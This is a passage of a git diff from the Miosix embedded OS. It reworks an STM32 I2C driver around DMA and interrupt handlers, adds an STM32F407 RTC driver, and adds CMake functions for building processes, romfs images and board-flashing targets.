~I2C_CR1_ACK; - fastDisableInterrupts(); //HACK Workaround critical section start + FastGlobalIrqLock::lock(); //HACK Workaround critical section start bool result=true; //EV6: Must read SR1 and SR2 to clear ADDR if(I2C1->SR1 & I2C_SR1_AF) result=false; @@ -402,15 +266,8 @@ bool I2C1Master::waitStatus1() waiting=Thread::getCurrentThread(); I2C1->CR2 |= I2C_CR2_ITEVTEN | I2C_CR2_ITERREN; { - FastInterruptDisableLock dLock; - while(waiting) - { - waiting->IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); } I2C1->CR2 &= ~(I2C_CR2_ITEVTEN | I2C_CR2_ITERREN); return !error; @@ -446,6 +303,56 @@ void I2C1Master::stop() while(I2C1->SR2 & I2C_SR2_MSL) ; //Wait for stop bit sent } -bool I2C1Master::checkMultipleInstances=false; +void I2C1Master::I2C1rxDmaHandlerImpl() +{ + DMA1->LIFCR=DMA_LIFCR_CTCIF0 + | DMA_LIFCR_CTEIF0 + | DMA_LIFCR_CDMEIF0 + | DMA_LIFCR_CFEIF0; + if(waiting==nullptr) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +void I2C1Master::I2C1txDmaHandlerImpl() +{ + DMA1->HIFCR=DMA_HIFCR_CTCIF7 + | DMA_HIFCR_CTEIF7 + | DMA_HIFCR_CDMEIF7 + | DMA_HIFCR_CFEIF7; + //We can't just wake the thread because the I2C is double buffered, and this + //interrupt is fired at the same time as the second last byte is starting + //to be sent out of the bus. If we return now, the main code would send a + //stop condiotion too soon, and the last byte would never be sent. Instead, + //we change from DMA mode to IRQ mode, so when the second last byte is sent, + //that interrupt is fired and the last byte is sent out. + I2C1->CR2 &= ~I2C_CR2_DMAEN; + I2C1->CR2 |= I2C_CR2_ITBUFEN | I2C_CR2_ITEVTEN; +} + +void I2C1Master::I2C1HandlerImpl() +{ + //When called to resolve the last byte not sent issue, clearing + //I2C_CR2_ITBUFEN prevents this interrupt being re-entered forever, as + //it does not send another byte to the I2C, so the interrupt would remain + //pending. When called after the start bit has been sent, clearing + //I2C_CR2_ITEVTEN prevents the same infinite re-enter as this interrupt + //does not start an address transmission, which is necessary to stop + //this interrupt from being pending + I2C1->CR2 &= ~(I2C_CR2_ITBUFEN | I2C_CR2_ITEVTEN); + if(waiting==nullptr) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +void I2C1Master::I2C1errHandlerImpl() +{ + I2C1->SR1=0; //Clear error flags + error=true; + if(waiting==nullptr) return; + waiting->IRQwakeup(); + waiting=nullptr; +} } //namespace miosix + diff --git a/miosix/arch/common/drivers/stm32f2_f4_i2c.h b/miosix/arch/drivers/stm32f2_f4_i2c.h similarity index 91% rename from miosix/arch/common/drivers/stm32f2_f4_i2c.h rename to miosix/arch/drivers/stm32f2_f4_i2c.h index c90557a80..3a19abc28 100644 --- a/miosix/arch/common/drivers/stm32f2_f4_i2c.h +++ b/miosix/arch/drivers/stm32f2_f4_i2c.h @@ -27,6 +27,7 @@ #pragma once +#include #include namespace miosix { @@ -155,7 +156,28 @@ class I2C1Master */ void stop(); - static bool checkMultipleInstances; + /** + * DMA I2C rx end of transfer actual implementation + */ + void I2C1rxDmaHandlerImpl(); + + /** + * DMA I2C tx end of transfer + */ + void I2C1txDmaHandlerImpl(); + + /** + * I2C address sent interrupt actual implementation + */ + void I2C1HandlerImpl(); + + /** + * I2C error interrupt actual implementation + */ + void I2C1errHandlerImpl(); + + volatile bool error; ///< Set to true by IRQ on error + miosix::Thread *waiting=nullptr; ///< Thread waiting for an operation to complete }; } //namespace miosix diff --git a/miosix/arch/drivers/stm32f407_rtc.cpp b/miosix/arch/drivers/stm32f407_rtc.cpp new file mode 100644 index 000000000..228cec670 --- /dev/null +++ b/miosix/arch/drivers/stm32f407_rtc.cpp @@ -0,0 +1,219 @@ +/*************************************************************************** + * Copyright (C) 2017 by Marsella Daniele * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32f407_rtc.h" +#include +#include +#include +#include "interfaces/bsp.h" + +using namespace miosix; + +namespace miosix { + +// +// class Rtc +// +void IRQrtcInit() +{ + Rtc::instance(); // create the singleton +} + +Rtc& Rtc::instance() +{ + static Rtc singleton; + return singleton; +} + +// unsigned short int Rtc::getSSR() +// { +// short int ss = 0; +// { +// FastGlobalIrqLock dlock; +// ss = IRQgetSSR(); +// } +// return ss; +// } + +// unsigned long long int Rtc::getTime() +// { +// long long int time = 0; +// { +// FastGlobalIrqLock dlock; +// time = IRQgetTime(); +// } +// return time; +// } + +// unsigned long long int Rtc::getDate() +// { +// long long int date = 0; +// { +// FastGlobalIrqLock dlock; +// date = IRQgetDate(); +// } +// return date; +// } + +// // Return the value of RTC_SSR register +// unsigned short int Rtc::IRQgetSSR() +// { +// while((RTC->ISR & RTC_ISR_RSF) == 0); +// unsigned short int ssr = RTC->SSR & RTC_SSR_SS; +// RTC->ISR &= ~(RTC_ISR_RSF); +// return ssr; +// } + +// // Return day time as microseconds +// unsigned long long int Rtc::IRQgetTime() +// { +// while(( RTC->ISR & RTC_ISR_RSF) == 0); +// unsigned short int hour_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_HT); +// unsigned short int hour_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_HU); +// unsigned short int minute_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_MNT); +// unsigned short int minute_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_MNU); +// unsigned short int second_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_ST); +// unsigned short int second_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_SU); +// unsigned short int ss_value = 0x00000000 | (RTC->SSR & RTC_SSR_SS); +// unsigned long long int time_microsecs = ( hour_tens * 10 + hour_units) * 3600 * 1000000 +// + ( minute_tens * 10 + minute_units) * 60 * 1000000 +// + ( second_tens * 10 + second_units ) * 1000000 +// + ( prescaler_s - ss_value )/(prescaler_s + 1); +// RTC->ISR &= ~(RTC_ISR_RSF); +// if ( (RTC->TSTR & RTC_TSTR_PM) == 0 ) +// return time_microsecs; +// else +// return time_microsecs + 12 * 3600000000; +// } + +// // \todo +// unsigned long long int Rtc::IRQgetDate() +// { +// unsigned long long int date_secs = 0; +// while(( RTC->ISR & RTC_ISR_RSF) == 0); +// unsigned short int hour_tens = 0x00000000 | (RTC->TR & RTC_TR_HT); +// unsigned short int hour_units = 0x00000000 | (RTC->TR & RTC_TR_HU); +// unsigned short int minute_tens = 0x00000000 | (RTC->TR & RTC_TR_MNT); +// unsigned short int minute_units = 0x00000000 | (RTC->TR & RTC_TR_MNU); +// unsigned short int second_tens = 0x00000000 | (RTC->TR & RTC_TR_ST); +// unsigned short int second_units = 0x00000000 | (RTC->TR & RTC_TR_SU); +// unsigned short int subseconds = 0x00000000 | (RTC->SSR & RTC_SSR_SS); +// unsigned short int year_tens = 0x000000000 | (RTC->DR & RTC_DR_YT); +// unsigned short int year_units = 0x000000000 | (RTC->DR & RTC_DR_YU); +// unsigned short int month_tens = 0x000000000 | (RTC->DR & RTC_DR_MT); +// unsigned short int month_units = 0x000000000 | (RTC->DR & RTC_DR_MU); +// unsigned short int day_tens = 0x000000000 | (RTC->DR & RTC_DR_DT); +// unsigned short int day_units = 0x000000000 | (RTC->DR & RTC_DR_DU); +// // \todo +// RTC->ISR &= ~(RTC_ISR_RSF); +// return date_secs; +// } + +void Rtc::setWakeupInterrupt() +{ + EXTI->EMR &= ~(1<<11); + EXTI->RTSR &= ~(1<<11); + EXTI->EMR |= (1<<22); + EXTI->RTSR |= (1<<22); + EXTI->FTSR &= ~(1<<22); + RTC->CR |= RTC_CR_WUTIE; + wakeupOverheadNs = 100000; +} + +void Rtc::setWakeupTimer(unsigned short int wut_value) +{ + RTC->CR &= ~RTC_CR_WUTE; + while( (RTC->ISR & RTC_ISR_WUTWF ) == 0 ); + RTC->CR |= (RTC_CR_WUCKSEL_0 | RTC_CR_WUCKSEL_1); + RTC->CR &= ~(RTC_CR_WUCKSEL_2) ; //! select RTC/2 clock for wakeup + RTC->WUTR = wut_value & RTC_WUTR_WUT; +} + +void Rtc::startWakeupTimer() +{ + RTC->CR |= RTC_CR_WUTE; +} + +void Rtc::stopWakeupTimer() +{ + RTC->CR &= ~RTC_CR_WUTE; + RTC->ISR &= ~RTC_ISR_WUTF; +} + +long long Rtc::getWakeupOverhead() +{ + return wakeupOverheadNs; +} + +long long Rtc::getMinimumDeepSleepPeriod() +{ + return minimumDeepSleepPeriod; +} + +Rtc::Rtc() : + clock_freq(32768), + wkp_clock_period(1000000000 * 2 / clock_freq), + wkp_tc(clock_freq / 2) +{ + { + GlobalIrqLock dl; + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + PWR->CR |= PWR_CR_DBP; + + // Without the next two lines the BDCR bit for LSEON + // is ignored and the next while loop never exits + RCC->BDCR = RCC_BDCR_BDRST; + RCC->BDCR = 0; + + RCC->BDCR |= RCC_BDCR_RTCEN //RTC enabled + | RCC_BDCR_LSEON //External 32KHz oscillator enabled + | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC + RCC->BDCR &= ~(RCC_BDCR_RTCSEL_1); + RCC->CFGR |= (0b1<<21); + } + ledOn(); + while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait for LSE to start + ledOff(); + // Enable write on RTC_ISR register + RTC->WPR = 0xCA; + RTC->WPR = 0x53; + + RTC->CR &= ~(RTC_CR_BYPSHAD); + RTC->PRER = (128 <<16) | ( 256<<0); // default prescaler + RTC->ISR |= RTC_ISR_INIT; + while((RTC->ISR & RTC_ISR_INITF)== 0) ; // wait clock and calendar initialization + RTC->TR = (RTC_TR_SU & 0x0) | (RTC_TR_ST & 0x0) | (RTC_TR_MNU & 0x0) + | (RTC_TR_MNT & 0x0) | (RTC_TR_HU & 0x0) | (RTC_TR_HT & 0x0); + RTC->DR = (1<<0) | (1<<8) | (1<<13) | (9<<16) | (1<<20); // initialized to 1/1/2019 + + RTC->CR &= ~(RTC_CR_FMT); // Use 24-hour format + RTC->ISR &= ~(RTC_ISR_INIT); + prescaler_s = 0x00000000 | (RTC->PRER & RTC_PRER_PREDIV_S); + // NVIC_EnableIRQ(RTC_WKUP_IRQn); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/stm32f407_rtc.h b/miosix/arch/drivers/stm32f407_rtc.h new file mode 100644 index 000000000..c38471aa0 --- /dev/null +++ b/miosix/arch/drivers/stm32f407_rtc.h @@ -0,0 +1,131 @@ +/*************************************************************************** + * Copyright (C) 2017 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * rtc.h Part of the Miosix Embedded OS. + * Rtc support for the board that initialize correctly the RTC peripheral, + * and exposes its functionalities. + ************************************************************************/ + +#pragma once + +#include +#include + +namespace miosix { + +void IRQrtcInit(); + +/** + * \brief Class implementing the functionalities + * of the RTC peripherla of the board + * + * All the wait and deepSleep functions cannot be called concurrently by + * multiple threads, so there is a single instance of the class that is share * among all the threads + */ +class Rtc +{ +public: + /** + * \brief Rtc class implements the singleton design pattern + * + * \return the only used instance of this class + */ + static Rtc& instance(); + + const unsigned int stopModeOffsetns = 504000; + + /** + * \brief Setup the wakeup timer for deep sleep interrupts. + * + * Function used to setup the wakeup interrupt for the + * RTC and the associated NVIC IRQ and EXTI lines. + * It also store the correct value for the clock used by RTC + * and the wakeup clock period + */ + void setWakeupInterrupt(); + + /** + * \brief Set wakeup timer for wakeup interrupt + * + * Set wakeup timer for wakeup interrupt according to the + * procedure described in the reference manual of the + * STM32F407VG. It doesn't make the timer start + */ + void setWakeupTimer(unsigned short int); + + /** + * \brief Starts the periodic wakeup timer of the RTC + */ + void startWakeupTimer(); + /** + * \brief Stop the periodic wakeup timer of the RTC + */ + void stopWakeupTimer(); + /** + * \brief Get the subseconds value of RTC + * \return the Sub second value of the Time register of the RTC + * as milliseconds. The value is converted according to + * the current clock used to synchronize the RTC. + */ + /* unsigned short int getSSR(); */ + /* unsigned long long int getDate(); */ + /* unsigned long long int getTime(); */ + + long long getWakeupOverhead(); + long long getMinimumDeepSleepPeriod(); + + Rtc (const Rtc&) = delete; + Rtc& operator=(const Rtc&) = delete; +private: + Rtc(); + unsigned int clock_freq; //! Hz set according to the selected clock + unsigned int wkp_clock_period; //! How many nanoseconds often the wut counter is decreased + unsigned short int prescaler_s; //! Needed to know the prescaler factor + long long wakeupOverheadNs; + + const long long minimumDeepSleepPeriod = 121000; //! the number of nanoseconds for the smallest deep sleep interval + TimeConversion wkp_tc; + + long int remaining_wakeups = 0; ///! keep track of remaining wakeups for very long deep sleep intervals + /** + * not preemptable function that read SSR value of the RTC Time register + */ + /* unsigned short int IRQgetSSR(); */ + /* /\** */ + /* * not preemptable function that compute the time of the RTC Time register */ + /* *\/ */ + /* unsigned long long int IRQgetTime(); */ + /* /\** */ + /* * not preemptable function that compute the date of the RTC calendar value */ + /* *\/ */ + /* unsigned long long int IRQgetDate(); */ + + friend bool IRQdeepSleep(long long); +}; + +} //namespace miosix diff --git a/miosix/cmake/AddProcess.cmake b/miosix/cmake/AddProcess.cmake new file mode 100644 index 000000000..6e3543e4c --- /dev/null +++ b/miosix/cmake/AddProcess.cmake @@ -0,0 +1,76 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Function to create a Miosix process +# +# miosix_add_process( ... [RAM_SIZE ram-size] +# [STACK_SIZE stack-size] [NO_STRIP_SECTHEADER]) +# +# What is does: +# - Create an executable target with the given sources +# - Link the libraries required by processes +# - Tell the linker to produce a map file +# - Run strip and mx-postlinker on the executable +# You can specify ram and stack size reservations with the RAM_SIZE and +# STACK_SIZE parameters. Section headers are stripped by default, but it can +# be disabled by passing NO_STRIP_SECTHEADER. +function(miosix_add_process TARGET SOURCES) + cmake_parse_arguments(PARSE_ARGV 0 PROC "NO_STRIP_SECTHEADER" "RAM_SIZE;STACK_SIZE" "") + + # Define the executable with its sources + add_executable(${TARGET} ${SOURCES}) + + target_compile_options(${TARGET} PUBLIC ${MIOSIX_CPU_FLAGS} -ffunction-sections) + target_link_options(${TARGET} PUBLIC ${MIOSIX_CPU_FLAGS} -Wl,--gc-sections) + + # Strip unnecessary sections from the ELF + add_custom_command( + TARGET ${TARGET} POST_BUILD + COMMAND arm-miosix-eabi-strip $ + COMMENT "Stripping $" + ) + + # Run mx-postlinker to strip the section header, string table and + # setting Miosix specific options in the dynamic segment + if(NOT PROC_RAM_SIZE) + set(PROC_RAM_SIZE 16384) + endif() + if(NOT PROC_STACK_SIZE) + set(PROC_STACK_SIZE 2048) + endif() + if(NOT PROC_NO_STRIP_SECTHEADER) + set(PROC_SECTHEADER --strip-sectheader) + endif() + add_custom_command( + TARGET ${TARGET} POST_BUILD + COMMAND + mx-postlinker $ + --ramsize=${PROC_RAM_SIZE} + --stacksize=${PROC_STACK_SIZE} + ${PROC_SECTHEADER} + # BYPRODUCTS $ + COMMENT "Running mx-postlinker on $" + ) +endfunction() diff --git a/miosix/cmake/AddProgramTarget.cmake b/miosix/cmake/AddProgramTarget.cmake new file mode 100644 index 000000000..aeabbae1d --- /dev/null +++ b/miosix/cmake/AddProgramTarget.cmake @@ -0,0 +1,48 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Creates a custom target to program the board +# +# miosix_add_program_target( [DEPENDS ...]) +# +function(miosix_add_program_target TARGET_NAME IMAGE) + cmake_parse_arguments(PROGRAM "" "" "DEPENDS" ${ARGN}) + if(NOT PROGRAM_DEPENDS) + set(PROGRAM_DEPENDS ${IMAGE}_bin ${IMAGE}_hex) + endif() + + get_target_property(PROGRAM_CMDLINE miosix PROGRAM_CMDLINE) + if(PROGRAM_CMDLINE STREQUAL "PROGRAM_CMDLINE-NOTFOUND") + set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x8000000) + endif() + + list(TRANSFORM PROGRAM_CMDLINE REPLACE ${CMAKE_CURRENT_BINARY_DIR}/${IMAGE}.bin) + list(TRANSFORM PROGRAM_CMDLINE REPLACE ${CMAKE_CURRENT_BINARY_DIR}/${IMAGE}.hex) + + add_custom_target(${TARGET_NAME} ${PROGRAM_CMDLINE} + DEPENDS ${PROGRAM_DEPENDS} + VERBATIM + ) +endfunction() diff --git a/miosix/cmake/AddRomfsImage.cmake b/miosix/cmake/AddRomfsImage.cmake new file mode 100644 index 000000000..5fcf72ec4 --- /dev/null +++ b/miosix/cmake/AddRomfsImage.cmake @@ -0,0 +1,85 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +include(ExternalProject) +include(AddProgramTarget) +include(CreateProcessesDir) +include(SetDefaultProgramTarget) + +# Create a target that builds the romfs image and combines it the kernel into a single binary image +# +# miosix_add_romfs_image( +# IMAGE_NAME +# KERNEL +# DIR_NAME +# PROCESSES ... +# ) +# +# What it does: +# - Copies all processes binaries to a single directory named +# - Creates a romfs image with of the directory +# - Combines the kernel and the romfs image into a single binary image +# - Registers a custom target (named ) with to run the above steps +function(miosix_add_romfs_image ROMFS_IMAGE_NAME) + cmake_parse_arguments(PARSE_ARGV 0 ROMFS "PROGRAM_DEFAULT" "KERNEL;DIR_NAME" "PROCESSES") + + # If the user did not provide a directory name, use "bin" as default + if(NOT ROMFS_DIR_NAME) + set(ROMFS_DIR_NAME bin) + message(NOTICE "You did not provide a directory name for romfs, using ${ROMFS_DIR_NAME} as default") + endif() + + # Copy all processes binaries to a single directory + miosix_create_processes_dir( + DIR_NAME ${ROMFS_DIR_NAME} + PROCESSES ${ROMFS_PROCESSES} + ) + + # Create the romfs image with the given processes + add_custom_command( + OUTPUT ${ROMFS_IMAGE_NAME}-romfs.bin + DEPENDS "${MIOSIX_PROCESSES_FILES}" + COMMAND mx-buildromfs ${ROMFS_IMAGE_NAME}-romfs.bin --from-directory ${ROMFS_DIR_NAME} + COMMENT "Building ${ROMFS_IMAGE_NAME}-romfs.bin" + ) + + # Combine kernel and romfs images + get_target_property(MIOSIX_SOURCE_DIR miosix SOURCE_DIR) + add_custom_command( + OUTPUT ${ROMFS_IMAGE_NAME}.bin + DEPENDS ${ROMFS_KERNEL}.bin ${ROMFS_IMAGE_NAME}-romfs.bin + COMMAND perl ${MIOSIX_SOURCE_DIR}/tools/mkimage.pl ${ROMFS_IMAGE_NAME}.bin ${ROMFS_KERNEL}.bin ${ROMFS_IMAGE_NAME}-romfs.bin + COMMENT "Combining ${ROMFS_KERNEL}.bin and ${ROMFS_IMAGE_NAME}-romfs.bin into ${ROMFS_IMAGE_NAME}.bin" + ) + + # Create the custom romfs target + add_custom_target(${ROMFS_IMAGE_NAME} ALL DEPENDS ${PROJECT_BINARY_DIR}/${ROMFS_IMAGE_NAME}.bin) + + # And a target to flash the image + miosix_add_program_target(${ROMFS_IMAGE_NAME}_program ${ROMFS_IMAGE_NAME} DEPENDS ${ROMFS_IMAGE_NAME}) + if(ROMFS_PROGRAM_DEFAULT) + miosix_set_default_program_target(${ROMFS_IMAGE_NAME}_program) + endif() +endfunction() diff --git a/miosix/cmake/CreateProcessesDir.cmake b/miosix/cmake/CreateProcessesDir.cmake new file mode 100644 index 000000000..e8bdca7e1 --- /dev/null +++ b/miosix/cmake/CreateProcessesDir.cmake @@ -0,0 +1,52 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Copies processes binaries into a single directory +# +# miosix_create_processes_dir( +# DIR_NAME +# PROCESSES ... +# ) +# +# This function addresses two use cases: +# - When you need to build a romfs image, you need all processes into a single directory +# - If you want to load processes on to an SD card for example, is useful to have all processes grouped togheter +function(miosix_create_processes_dir) + cmake_parse_arguments(PROCS "" "DIR_NAME" "PROCESSES" ${ARGN}) + + # Copy all processes binaries to a single directory + foreach(ROMFS_PROCESS ${ROMFS_PROCESSES}) + add_custom_command( + OUTPUT ${PROJECT_BINARY_DIR}/${ROMFS_DIR_NAME}/${ROMFS_PROCESS} + DEPENDS ${ROMFS_PROCESS} + COMMAND ${CMAKE_COMMAND} -E copy $ ${PROJECT_BINARY_DIR}/${ROMFS_DIR_NAME}/${ROMFS_PROCESS} + COMMENT "Copying process $ into ${ROMFS_DIR_NAME} directory" + ) + list(APPEND MIOSIX_PROCESSES_FILES ${PROJECT_BINARY_DIR}/${ROMFS_DIR_NAME}/${ROMFS_PROCESS}) + endforeach() + + # Move the list variable in the parent scope + set(MIOSIX_PROCESSES_FILES ${MIOSIX_PROCESSES_FILES} PARENT_SCOPE) +endfunction() diff --git a/miosix/cmake/LinkTarget.cmake b/miosix/cmake/LinkTarget.cmake new file mode 100644 index 000000000..7d70082fc --- /dev/null +++ b/miosix/cmake/LinkTarget.cmake @@ -0,0 +1,95 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +include(AddProgramTarget) +include(SetDefaultProgramTarget) + +# Function to link the Miosix libraries to a target and register the build command +# +# miosix_link_target( [PROGRAM_DEFAULT] [NO_SIZE]) +# +# What it does: +# - Links the Miosix libraries to the target +# - Tells the linker to generate the map file +# - Registers custom targets to create the hex and bin files (${TARGET}_bin and ${TARGET}_hex) +# - Registers a custom target to flash the program to the board (${TARGET}_program) +# +# If PROGRAM_DEFAULT is also passed to it, it also defines the "program" target +# which is an alias for ${TARGET}_program. +# By default, the size of the target .elf file is also printed at the end of +# the link process, unless if NO_SIZE is specified. +function(miosix_link_target TARGET) + cmake_parse_arguments(PARSE_ARGV 0 LINK_TGT "PROGRAM_DEFAULT;NO_SIZE" "" "") + + if (NOT TARGET miosix) + message(FATAL_ERROR "The board you selected is not supported") + endif() + + # Linker script and linking options are inherited from miosix libraries + + # Link libraries + target_link_libraries(${TARGET} PRIVATE + -Wl,--start-group miosix stdc++ c m gcc atomic -Wl,--end-group + ) + + # Tell the linker to produce the map file + target_link_options(${TARGET} PRIVATE -Wl,-Map,$/$.map) + + # Add a post build command to create the hex file to flash on the board + add_custom_command( + OUTPUT ${TARGET}.hex + DEPENDS ${TARGET} + COMMAND ${CMAKE_OBJCOPY} -O ihex $ ${TARGET}.hex + COMMENT "Creating ${TARGET}.hex" + VERBATIM + ) + add_custom_target(${TARGET}_hex ALL DEPENDS ${TARGET}.hex) + add_custom_command( + OUTPUT ${TARGET}.bin + DEPENDS ${TARGET} + COMMAND ${CMAKE_OBJCOPY} -O binary $ ${TARGET}.bin + COMMENT "Creating ${TARGET}.bin" + VERBATIM + ) + add_custom_target(${TARGET}_bin ALL DEPENDS ${TARGET}.bin) + + # Print size of .elf + get_target_property(MIOSIX_SOURCE_DIR miosix SOURCE_DIR) + if(NOT LINK_TGT_NO_SIZE) + add_custom_command( + TARGET ${TARGET} + POST_BUILD + COMMAND perl ${MIOSIX_SOURCE_DIR}/tools/miosix_size.pl $ + COMMENT "Computing $ size" + VERBATIM + ) + endif() + + # Generate custom build command to flash the target + miosix_add_program_target(${TARGET}_program ${TARGET}) + if(LINK_TGT_PROGRAM_DEFAULT) + miosix_set_default_program_target(${TARGET}_program) + endif() +endfunction() diff --git a/miosix/cmake/MiosixPrintHelpers.cmake b/miosix/cmake/MiosixPrintHelpers.cmake new file mode 100644 index 000000000..0c6204ca1 --- /dev/null +++ b/miosix/cmake/MiosixPrintHelpers.cmake @@ -0,0 +1,53 @@ +# Copyright (C) 2026 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Utility function for printing a list +function(miosix_print_list MESSAGE_TYPE HEADER THE_LIST) + cmake_parse_arguments(PARSE_ARGV 0 "PRINTLIST" "" "SELECTION;DEFAULT" "") + set(STR_ITEMS "") + foreach(LIST_ITEM ${THE_LIST}) + string(APPEND STR_ITEMS "\n - ${LIST_ITEM}") + if(LIST_ITEM STREQUAL PRINTLIST_SELECTION) + string(APPEND STR_ITEMS " (selected)") + endif() + if(LIST_ITEM STREQUAL PRINTLIST_DEFAULT) + string(APPEND STR_ITEMS " (default)") + endif() + endforeach() + message(${MESSAGE_TYPE} "${HEADER}${STR_ITEMS}") +endfunction() + +# Utility function for notifying the user that they have not set a variable +# correctly, if that variable needed to be set from a list +function(miosix_expected_item_in_list MESSAGE THE_LIST) + set(STR_ITEMS "") + 